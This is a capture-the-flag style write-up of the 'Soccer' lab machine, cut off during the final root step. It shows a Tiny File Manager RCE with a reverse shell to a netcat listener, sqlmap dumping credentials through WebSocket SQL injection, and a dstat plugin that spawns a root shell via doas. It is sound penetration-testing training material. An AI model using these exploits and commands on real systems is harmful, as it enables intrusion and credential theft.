Soccer
Difficulty: Easy
Tags: Linux, Websockets, SQLi, SQLMap, LotL
Description: Soccer is an easy difficulty Linux machine that features a foothold based on default credentials, forfeiting access to a vulnerable version of the Tiny File Manager, which in turn leads to a reverse shell on the target system (CVE-2021-45010). Enumerating the target reveals a subdomain which is vulnerable to a blind SQL injection through websockets. Leveraging the SQLi leads to dumped SSH credentials for the player user, who can run dstat using doas- an alternative to sudo. By creating a custom Python plugin for doas, a shell as root is then spawned through the SUID bit of the doas binary, leading to fully escalated privileges.
Summary
The security assessment of the Soccer target revealed that the system is a Linux-based host hosting several web-based services. The compromise began with the discovery of an instance of Tiny File Manager accessible via a hidden directory, which was protected only by default administrative credentials. This allowed the tester to exploit a known authenticated Remote Code Execution (RCE) vulnerability to gain an initial foothold on the server as a low-privileged user.
Further internal enumeration identified a subdomain utilising WebSockets for real-time data exchange. This WebSocket implementation was found to be vulnerable to blind SQL injection, which enabled the tester to dump cleartext credentials for a secondary user from the backend database.
Finally, the tester achieved full system takeover by abusing the doas utility. A misconfiguration allowed the execution of a performance monitoring tool with root privileges, which the tester leveraged by creating a malicious Python plugin to spawn a root shell.
Walkthrough
1. Enumeration
1.1. Intial External Scan
The assessment commenced with a full TCP port scan using Nmap to map the external attack surface. The scan identified three listening services: an nginx 1.18.0 web server on port 80, OpenSSH 8.2p1 on port 22, and an unidentified service on port 9091.
~ [10.10.14.59]
> sudo nmap -p- -Pn 10.10.11.194 -T4
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-07 08:29 GMT
Nmap scan report for 10.10.11.194
Host is up (0.062s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9091/tcp open xmltec-xmlmail
This scan provided the Assessor with an overview of the attack surface of target, identifying possible targets for intial access or exploitation.
1.2. Targeted Port Scan
A targeted port scan using the aggressive and loud -A flag attempted to identify port versions, the host operating system (OS) and if able, would attempt to automatically run exploitation scripts against services with known vulnerabilities.
~ [10.10.14.59]
> sudo nmap -p 22,80,9091 -Pn -A 10.10.11.194
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-07 08:35 GMT
Nmap scan report for 10.10.11.194
Host is up (0.032s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
| 256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_ 256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail?
<SNIP>
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 33.51 ms 10.10.14.1
2 32.56 ms 10.10.11.194
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.60 seconds
This targeted scan revealed the domain name of the website hosted on the target: soccer.htb.
Running nmap with the -A flag can be an easy way to catch “low hanging fruit”, though in this instance nothing came of the scan. The Assessor also did not gain any additional information about the services running, including the obscure xmltec-xmlmail service.
The only information gained about xmltec-xmlmail from the Assessors research stated that this services uses can vary, but it relates to XML messaging in some way.
1.3. Manually Enumerating the Website
Initial inspection of the website at http://soccer.htb revealed a standard landing page for a football club with no immediate vulnerabilities.

Figure 1: The landing page of http://soccer.htb/
The browser plugin Wappalyzer reported the technologies it automatically scanned the website for: cdnjs, Google Hosted Libraries, JsDelivr, Cloudflare, jQuery & Bootstrap. Though this information did not provide anything of note to the Assessor.
1.4. Automated Fuzzing with Ffuf Scan
Without any obvious path to exploitation or even further enumeration the Assessor performed directory fuzzing using ffuf and the DirBuster-2007 medium wordlist. This identified a directory named /tiny/.
~ [10.10.14.59]
> ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt:FUZZ -u http://soccer.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://soccer.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
<SNIP>
tiny [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 36ms]
[Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 39ms]
:: Progress: [220559/220559] :: Job [1/1] :: 503 req/sec :: Duration: [0:05:27] :: Errors: 0 ::
2. Initial Access
2.1. Tiny File Manager Enumeration
Navigating to http://soccer.htb/tiny/ revealed a login portal for Tiny File Manager, an open source web-based PHP file manager.

Figure 2: The Tiny File Manager login page located at http://soccer.htb/tiny/
This revealed to the Assessor that the back-end of the application likely functioned using PHP.
The Assessor reviewed the page source and identified the application version as 2.4.3. Researching this version indicated it was susceptible to authenticated RCE (CVE-2021-45010) through a file upload bypass, though this required admin credentials.
<a href="https://tinyfilemanager.github.io/" target="_blank" class="text-muted" data-version="2.4.3">CCP Programmers</a> ——
Two possible exploits found:
- https://github.com/hadrian3689/h3k_tinyfilemanager_rce
- https://febin0x4e4a.wordpress.com/2022/01/23/tiny-file-manager-authenticated-rce/
2.2. Exploiting Default Credentials
The Assessor attempted to log in using default credentials (admin / admin@123) found on the Tiny File Manager GitHub wiki. Link to the Tiny File Manager GitHub page: https://github.com/prasathmani/tinyfilemanager
Access was successfully granted to the file system, confirming the use of insecure default credentials.
2.3. Tiny File Manager Exploitation
With access to the back-end of the website, the tester first attempted to use a publicly available shell script exploit (https://febin0x4e4a.wordpress.com/2022/01/23/tiny-file-manager-authenticated-rce/) to gain Remote Code Execution (RCE). This attempt failed with syntax errors, highlighting the importance of validating exploit code against the target environment.
~ [10.10.14.59]
> ./exploit.sh http://soccer.htb/tiny/tinyfilemanager.php admin "admin@123"
: not found 9:
: not found 11:
: not found 13:
./50828.sh: 46: Syntax error: Bad function name
The execution of the RCE shell script failed due to bad function names. With the option of another possible exploit the Assessor pivoted to the Python-based exploit.
~ [10.10.14.59]
> sudo nc -lvnp 9000
[sudo] password for kali:
listening on [any] 9000 ...
After starting a netcat listener, the Assessor ran the exploitation script (https://github.com/hadrian3689/h3k_tinyfilemanager_rce).
~ [10.10.14.59]
> python3 exploit.py -t 'http://soccer.htb/tiny/tinyfilemanager.php' -u admin -p admin@123 -lh 10.10.14.59 -lp 9000 -pr 'p' -ph 'tiny/uploads'
We are logged in!
Attempting File Upload
Payload uploaded:
http://soccer.htb/tiny/uploads/ERpKoqmYsB.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Attempting Reverse Shell
This was successful, allowing the Assessor to upload a malicious PHP payload to the /tiny/uploads/ directory. Upon execution, a reverse shell was received, establishing a foothold as the www-data user.
~ [10.10.14.59] [0/1]
> sudo nc -lvnp 9000
[sudo] password for kali:
listening on [any] 9000 ...
connect to [10.10.14.59] from (UNKNOWN) [10.10.11.194] 37696
bash: cannot set terminal process group (1049): Inappropriate ioctl for device
bash: no job control in this shell
www-data@soccer:~/html/tiny/uploads$
2.4. Shell Stabalisation
Before continuing internal enumeration the Assessor stabalised the reverse shell gained.
www-data@soccer:~/html/tiny/uploads$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<ds$ python3 -c 'import pty; pty.spawn("/bin/bash")'
3. Internal Enumeration
3.1. Manual User Enumeration
Internal reconnaissance of the server started with getting a list of users from /etc/passwd.
www-data@soccer:~/html/tiny/uploads$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
<SNIP>
player:x:1001:1001::/home/player:/bin/bash
mysql:x:113:121:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:997:997::/var/log/laurel:/bin/false
Seeing the user player, the Assessor hunted for files of interest within the users home directory.
www-data@soccer:~/html/tiny/uploads$ ls /home/player
ls /home/player
linpeas.sh
snap
user.txt
The attempt to achieve the first goal and view the contents of user.txt failed.
www-data@soccer:~/html/tiny/uploads$ cat /home/player/user.txt
cat /home/player/user.txt
cat: /home/player/user.txt: Permission denied
3.2. Automated Enumeration
The existence of linpeas.sh on the server provided a possibly easy method of enumerating the entire internal attack surface. When this script was ran as the www-data the execution succeeded.
www-data@soccer:~/html/tiny/uploads$ /home/player/linpeas.sh
/home/player/linpeas.sh
/---------------------------------------------------------------------------------\
| Do you like PEASS? |
|---------------------------------------------------------------------------------|
| Learn Cloud Hacking : https://training.hacktricks.xyz |
| Follow on Twitter : @hacktricks_live |
| Respect on HTB : SirBroccoli |
|---------------------------------------------------------------------------------|
| Thank you! |
\---------------------------------------------------------------------------------/
LinPEAS-ng by carlospolop
Key Findings:
╔══════════╣ Operative system
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#kernel-exploits
Linux version 5.4.0-135-generic (buildd@lcy02-amd64-066) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022
Distributor ID: Ubuntu
Description: Ubuntu 20.04.5 LTS
Release: 20.04
Codename: focal
╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester
cat: write error: Broken pipe
cat: write error: Broken pipe
[+] [CVE-2022-2586] nft_object UAF
Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
Exposure: probable
Tags: [ ubuntu=(20.04) ]{kernel:5.12.13}
Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)
[+] [CVE-2021-4034] PwnKit
Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
Exposure: probable
Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: probable
Tags: mint=19,[ ubuntu=18|20 ], debian=10
Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit 2
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: probable
Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write
Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
Exposure: probable
Tags: [ ubuntu=20.04 ]{kernel:5.8.0-*}
Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
Comments: ip_tables kernel module must be loaded
╔════════════════════════════════════╗
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════
╚════════════════════════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
-rwsr-xr-x 1 root root 42K Nov 17 2022 /usr/local/bin/doas
-rwsr-xr-x 1 root root 140K Nov 28 2022 /usr/lib/snapd/snap-confine ---> Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation(CVE-2019-7304)
-rwsr-xr-- 1 root messagebus 51K Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 463K Mar 30 2022 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 23K Feb 21 2022 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 15K Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 39K Feb 7 2022 /usr/bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 39K Mar 7 2020 /usr/bin/fusermount
-rwsr-xr-x 1 root root 55K Feb 7 2022 /usr/bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 67K Feb 7 2022 /usr/bin/su
-rwsr-xr-x 1 root root 44K Nov 29 2022 /usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 84K Nov 29 2022 /usr/bin/chfn ---> SuSE_9.3/10
-rwsr-xr-x 1 root root 163K Jan 19 2021 /usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 67K Nov 29 2022 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 87K Nov 29 2022 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 52K Nov 29 2022 /usr/bin/chsh
-rwsr-sr-x 1 daemon daemon 55K Nov 12 2018 /usr/bin/at ---> RTru64_UNIX_4.0g(CVE-2002-1614)
-rwsr-xr-x 1 root root 121K Nov 25 2022 /snap/snapd/17883/usr/lib/snapd/snap-confine ---> Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation(CVE-2019-7304)
-rwsr-xr-x 1 root root 84K Mar 14 2022 /snap/core20/1695/usr/bin/chfn ---> SuSE_9.3/10
-rwsr-xr-x 1 root root 52K Mar 14 2022 /snap/core20/1695/usr/bin/chsh
-rwsr-xr-x 1 root root 87K Mar 14 2022 /snap/core20/1695/usr/bin/gpasswd
-rwsr-xr-x 1 root root 55K Feb 7 2022 /snap/core20/1695/usr/bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 44K Mar 14 2022 /snap/core20/1695/usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 67K Mar 14 2022 /snap/core20/1695/usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 67K Feb 7 2022 /snap/core20/1695/usr/bin/su
-rwsr-xr-x 1 root root 163K Jan 19 2021 /snap/core20/1695/usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 39K Feb 7 2022 /snap/core20/1695/usr/bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-- 1 root systemd-resolve 51K Oct 25 2022 /snap/core20/1695/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 463K Mar 30 2022 /snap/core20/1695/usr/lib/openssh/ssh-keysign
3.3. Manual Nginx Enumeration
While the automated LinPeas script was running, the Assessor continued with the manual enumeration of the Nginx configuration files at /etc/nginx/sites-enabled/.
$ ls /etc/nginx/sites-enabled
default
soc-player.htb
This revealed a secondary site: soc-player.soccer.htb.
The Assessor started by reviewing the default file, as this was the most likely configuration for the soccer.htb site and then moved on to assessing the contents of soc-player.htb.
$ cat /etc/nginx/sites-enabled/default
server {
listen 80;
listen [::]:80;
server_name 0.0.0.0;
return 301 http://soccer.htb$request_uri;
}
server {
listen 80;
listen [::]:80;
server_name soccer.htb;
root /var/www/html;
index index.html tinyfilemanager.php;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.4-fpm.sock;
}
location ~ /\.ht {
deny all;
}
}
$ cat /etc/nginx/sites-enabled/soc-player.htb
server {
listen 80;
listen [::]:80;
server_name soc-player.soccer.htb;
root /root/app/views;
location / {
proxy_pass http://localhost:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
This file provided the Assessor with some key information, such as a new domain name: server_name soc-player.soccer.htb and the application was configured to proxy requests to a backend service on port 3000 and supported WebSockets.
4. Lateral Movement
4.1. Enumerating soc-player.soccer.htb
Finding this new domain opened a new potential attack path for the Assessor. Navigating to this newly found website displayed the below landing page.

The other webpages accessible via the websites navigation bar were then inspected. The existence of a /login and a /signup page suggested to the Assessor that they may be able to access valuable information or potentially exploitable functionality if the authenticate.

The tester registered an account on the subdomain and discovered a “Ticket Eligibility Check” form.

Further investigation into this form started with simply entering the displayed ticket ID 85585, the response from the form confirmed that the input, the forms response and what its purpose is. As this application appeared to be custom built, this search field was an interesting element to test for vulnerabilities. The field clearly completed a search function which likely used a database.

The inverse result was then tested, 1 was submitted in an attempt to confirm what an unsuccessful or negative respones would display.

The result “Ticket Doesn’t Exist” confirmed what could be returned from the form. Identifying these results as a baseline can help with confirming the existence of SQL injection vulnerabilities.
Probing the input with 1 or 1=1 -- - caused the application to return “Ticket Exists,” confirming a boolean-based blind SQL injection vulnerability.

4.2. Manual SQL Injection Discovery
The SQLi probe form submission was captured by Burp Suites proxy, when this submission was reviewed the Assessor discovered that the form was not submitted traditionally - using HTTP - but instead the request is sent over the WebSocket connection on port 9091.

What is a websocket?
“A WebSocket is a communication protocol that enables real-time, two-way (bi-directional) data exchange between a web browser (client) and a server over a single, persistent connection, unlike traditional HTTP’s request-response model.”
4.3. Automated SQLi Using SQLMap
As the only data returned via the websocket is “Ticket Exists” or “Ticket Doesn’t Exist” the Assessor understood that they would need to use blind-SQLi techniques, to improve the chances of exploiting this vulnerability, the tester utilised SQLMap with the --technique=B and --tamper=space2comment flags to bypass potential filtering.
~ [10.10.14.59]
> sqlmap -u 'ws://soc-player.soccer.htb:9091/' --data '{"id":"*"}' --batch
<SNIP>
[*] ending @ 09:43:13 /2026-01-07/
This original scan did not fidn anything of note, the Assessor knew that some form of exploitation must be possible, so they expanded upon the original command; increasing the --risk and --level attributes.
~ [10.10.14.59]
> sqlmap -u 'ws://soc-player.soccer.htb:9091/' --data '{"id":"*"}' --technique=B --risk 3 --level 5 --batch --dbs --threads 10
___
__H__
___ ___[']_____ ___ ___ {1.9.11#stable}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 09:47:56 /2026-01-07/
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[09:47:56] [INFO] testing connection to the target URL
[09:47:59] [INFO] testing if the target URL content is stable
[09:47:59] [INFO] target URL content is stable
[09:47:59] [INFO] testing if (custom) POST parameter 'JSON #1*' is dynamic
[09:47:59] [WARNING] (custom) POST parameter 'JSON #1*' does not appear to be dynamic
[09:47:59] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'JSON #1*' might not be injectable
[09:47:59] [INFO] testing for SQL injection on (custom) POST parameter 'JSON #1*'
[09:47:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:48:04] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[09:48:05] [INFO] (custom) POST parameter 'JSON #1*' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable
[09:48:07] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[09:48:07] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrie
val
[09:48:07] [INFO] checking if the injection point on (custom) POST parameter 'JSON #1*' is a false positive
(custom) POST parameter 'JSON #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 118 HTTP(s) requests:
---
Parameter: JSON #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: {"id":"-4080 OR 3890=3890"}
---
[09:48:09] [INFO] testing MySQL
[09:48:09] [INFO] confirming MySQL
[09:48:09] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 8.0.0
[09:48:09] [INFO] fetching database names
[09:48:09] [INFO] fetching number of databases
[09:48:09] [INFO] retrieved: 5
[09:48:10] [INFO] retrieving the length of query output
[09:48:10] [INFO] retrieved: 5
[09:48:11] [INFO] retrieved: mysql
[09:48:11] [INFO] retrieving the length of query output
[09:48:11] [INFO] retrieved: 18
[09:48:13] [INFO] retrieved: information_schema
[09:48:13] [INFO] retrieving the length of query output
[09:48:13] [INFO] retrieved: 18
[09:48:15] [INFO] retrieved: performance_schema
[09:48:15] [INFO] retrieving the length of query output
[09:48:15] [INFO] retrieved: 3
[09:48:17] [INFO] retrieved: sys
[09:48:17] [INFO] retrieving the length of query output
[09:48:17] [INFO] retrieved: 9
[09:48:18] [INFO] retrieved: soccer_db
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
[09:48:18] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/soc-player.soccer.htb'
[*] ending @ 09:48:18 /2026-01-07/
The results of this SQLMap execution confirmed that an SQLi vulnerability definetly existed and program returned a database name that could be targeted: soccer_db.
SQLMap provides the tools required to easily dump a known database, the Assessor utilised -D soccer_db --dump to automate the extraction of the soccer_db database.
~ [10.10.14.59]
> sqlmap -u 'ws://soc-player.soccer.htb:9091/' --data '{"id":"*"}' --technique=B --risk 3 --level 5 --batch --dbs --threads 10 -D soccer_db --dump
___
__H__
___ ___["]_____ ___ ___ {1.9.11#stable}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 09:53:30 /2026-01-07/
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[09:53:31] [INFO] resuming back-end DBMS 'mysql'
[09:53:31] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: {"id":"-4080 OR 3890=3890"}
---
[09:53:34] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 8
[09:53:34] [INFO] fetching database names
[09:53:34] [INFO] fetching number of databases
[09:53:34] [INFO] resumed: 5
[09:53:34] [INFO] retrieving the length of query output
[09:53:34] [INFO] retrieved: 5
[09:53:35] [INFO] retrieved: mysql
[09:53:35] [INFO] retrieving the length of query output
[09:53:35] [INFO] retrieved: 18
[09:53:37] [INFO] retrieved: information_schema
[09:53:37] [INFO] retrieving the length of query output
[09:53:37] [INFO] retrieved: 18
[09:53:39] [INFO] retrieved: performance_schema
[09:53:39] [INFO] retrieving the length of query output
[09:53:39] [INFO] retrieved: 3
[09:53:41] [INFO] retrieved: sys
[09:53:41] [INFO] retrieving the length of query output
[09:53:41] [INFO] retrieved: 9
[09:53:42] [INFO] retrieved: soccer_db
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
[09:53:42] [INFO] fetching tables for database: 'soccer_db'
[09:53:42] [INFO] fetching number of tables for database 'soccer_db'
[09:53:42] [INFO] retrieved: 1
[09:53:42] [INFO] retrieving the length of query output
[09:53:42] [INFO] retrieved: 8
[09:53:44] [INFO] retrieved: accounts
[09:53:44] [INFO] fetching columns for table 'accounts' in database 'soccer_db'
[09:53:44] [INFO] retrieved: 4
[09:53:44] [INFO] retrieving the length of query output
[09:53:44] [INFO] retrieved: 5
[09:53:45] [INFO] retrieved: email
[09:53:45] [INFO] retrieving the length of query output
[09:53:45] [INFO] retrieved: 2
[09:53:47] [INFO] retrieved: id
[09:53:47] [INFO] retrieving the length of query output
[09:53:47] [INFO] retrieved: 8
[09:53:48] [INFO] retrieved: password
[09:53:48] [INFO] retrieving the length of query output
[09:53:48] [INFO] retrieved: 8
[09:53:49] [INFO] retrieved: username
[09:53:49] [INFO] fetching entries for table 'accounts' in database 'soccer_db'
[09:53:49] [INFO] fetching number of entries for table 'accounts' in database 'soccer_db'
[09:53:49] [INFO] retrieved: 1
[09:53:50] [INFO] retrieving the length of query output
[09:53:50] [INFO] retrieved: 17
[09:53:52] [INFO] retrieved: player@player.htb
[09:53:52] [INFO] retrieving the length of query output
[09:53:52] [INFO] retrieved: 4
[09:53:53] [INFO] retrieved: 1324
[09:53:53] [INFO] retrieving the length of query output
[09:53:53] [INFO] retrieved: 20
[09:53:55] [INFO] retrieved: PlayerOftheMatch2022
[09:53:55] [INFO] retrieving the length of query output
[09:53:55] [INFO] retrieved: 6
[09:53:56] [INFO] retrieved: player
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player |
+------+-------------------+----------------------+----------+
[09:53:56] [INFO] table 'soccer_db.accounts' dumped to CSV file '/home/kali/.local/share/sqlmap/output/soc-player.soccer.htb/dump/soccer_db/accounts.csv'
[09:53:56] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/soc-player.soccer.htb'
[*] ending @ 09:53:56 /2026-01-07/
This dumped the credentials of the user ‘player’, a new that had been previously discovered during the initial internal enumeration steps of the assessment.
4.4. Abusing Exfiltrated Credentials
The Assessor confirmed that the credentials dumped from the database worked with the SSH enabled account found earlier in the assessment.
~ [10.10.14.59]
> ssh player@10.10.11.194
The authenticity of host '10.10.11.194 (10.10.11.194)' can't be established.
ED25519 key fingerprint is: SHA256:PxRZkGxbqpmtATcgie2b7E8Sj3pw1L5jMEqe77Ob3FE
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.194' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
player@10.10.11.194's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Jan 7 14:58:22 UTC 2026
System load: 0.0
Usage of /: 71.4% of 3.84GB
Memory usage: 28%
Swap usage: 0%
Processes: 275
Users logged in: 1
IPv4 address for eth0: 10.10.11.194
IPv6 address for eth0: dead:beef::250:56ff:fe94:8063
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Jan 6 17:22:40 2026 from 10.10.16.29
player@soccer:~$
This allowed the Assessor to achieve the first goal, the user flag.
player@soccer:~$ pwd
/home/player
player@soccer:~$ ls
linpeas.sh snap user.txt
player@soccer:~$ cat user.txt
70731c9f77cc6da39ea4c70b91bc5158
5. Privilege Escalation
5.1. Abusing doas
Internal enumeration for conducted earlier, using LinPeas, found binaries with the SUID bit set. This included identifying /usr/local/bin/doas, a sudo alternative. The configuration file at /usr/local/etc/doas.conf permitted the player user to run dstat as root without a password.
player@soccer:~$ find / -type f -name "doas.conf" 2>/dev/null
/usr/local/etc/doas.conf
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
This confirmed that the user ‘player’ could run the dstat tool as root, but no other program. Resarching dstat provided the Assessor with an attack path to escalate privileges.
To achieve this a custom plugin for the program was created.
player@soccer:~$ echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_htb.py
player@soccer:~$ doas /usr/bin/dstat --list
internal:
aio,cpu,cpu-adv,cpu-use,cpu24,disk,disk24,disk24-old,epoch,fs,int,int24,io,ipc,load,lock,mem,mem-adv,net,page,page24,proc,raw,
socket,swap,swap-old,sys,tcp,time,udp,unix,vm,vm-adv,zones
/usr/share/dstat:
battery,battery-remain,condor-queue,cpufreq,dbus,disk-avgqu,disk-avgrq,disk-svctm,disk-tps,disk-util,disk-wait,dstat,dstat-cpu,
